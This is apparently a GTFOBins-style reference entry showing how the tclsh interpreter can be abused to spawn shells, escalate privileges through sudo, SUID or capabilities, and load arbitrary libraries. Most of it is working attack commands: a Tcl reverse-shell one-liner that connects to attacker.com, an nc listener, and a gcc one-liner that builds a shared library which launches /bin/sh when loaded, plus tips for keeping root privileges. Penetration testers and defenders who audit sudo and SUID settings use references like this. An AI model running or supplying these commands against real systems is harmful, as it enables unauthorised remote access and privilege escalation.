Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    tclsh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    tclsh
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    tclsh

Reverse shell

This executable can send back a reverse system shell to a listening attacker.
  1. This function can be performed by any unprivileged user.
    tclsh
    set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    tclsh
    set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    tclsh
    set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;
    ListenerA TCP server can be used on the attacker box to receive the shell.
    nc -l -p 12345

Library load

This executable can load shared libraries that may be used to run arbitrary code in the same execution context.
  1. This function can be performed by any unprivileged user.
    tclsh
    load /path/to/lib.so x
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    tclsh
    load /path/to/lib.so x
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    tclsh
    load /path/to/lib.so x
    This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.
    tclsh
    load /path/to/lib.so x
    Payload

    As an example, the following can be used to create a minimal shared library (lib.so) that spawns a shell upon loading:

    echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \
        | gcc -w -fPIC -shared -o lib.so -x c -
    

    Add the usual -p argument to the shell for SUID contexts. Consider calling setuid(0); beforehand if the executable has the CAP_SETUID capability assigned.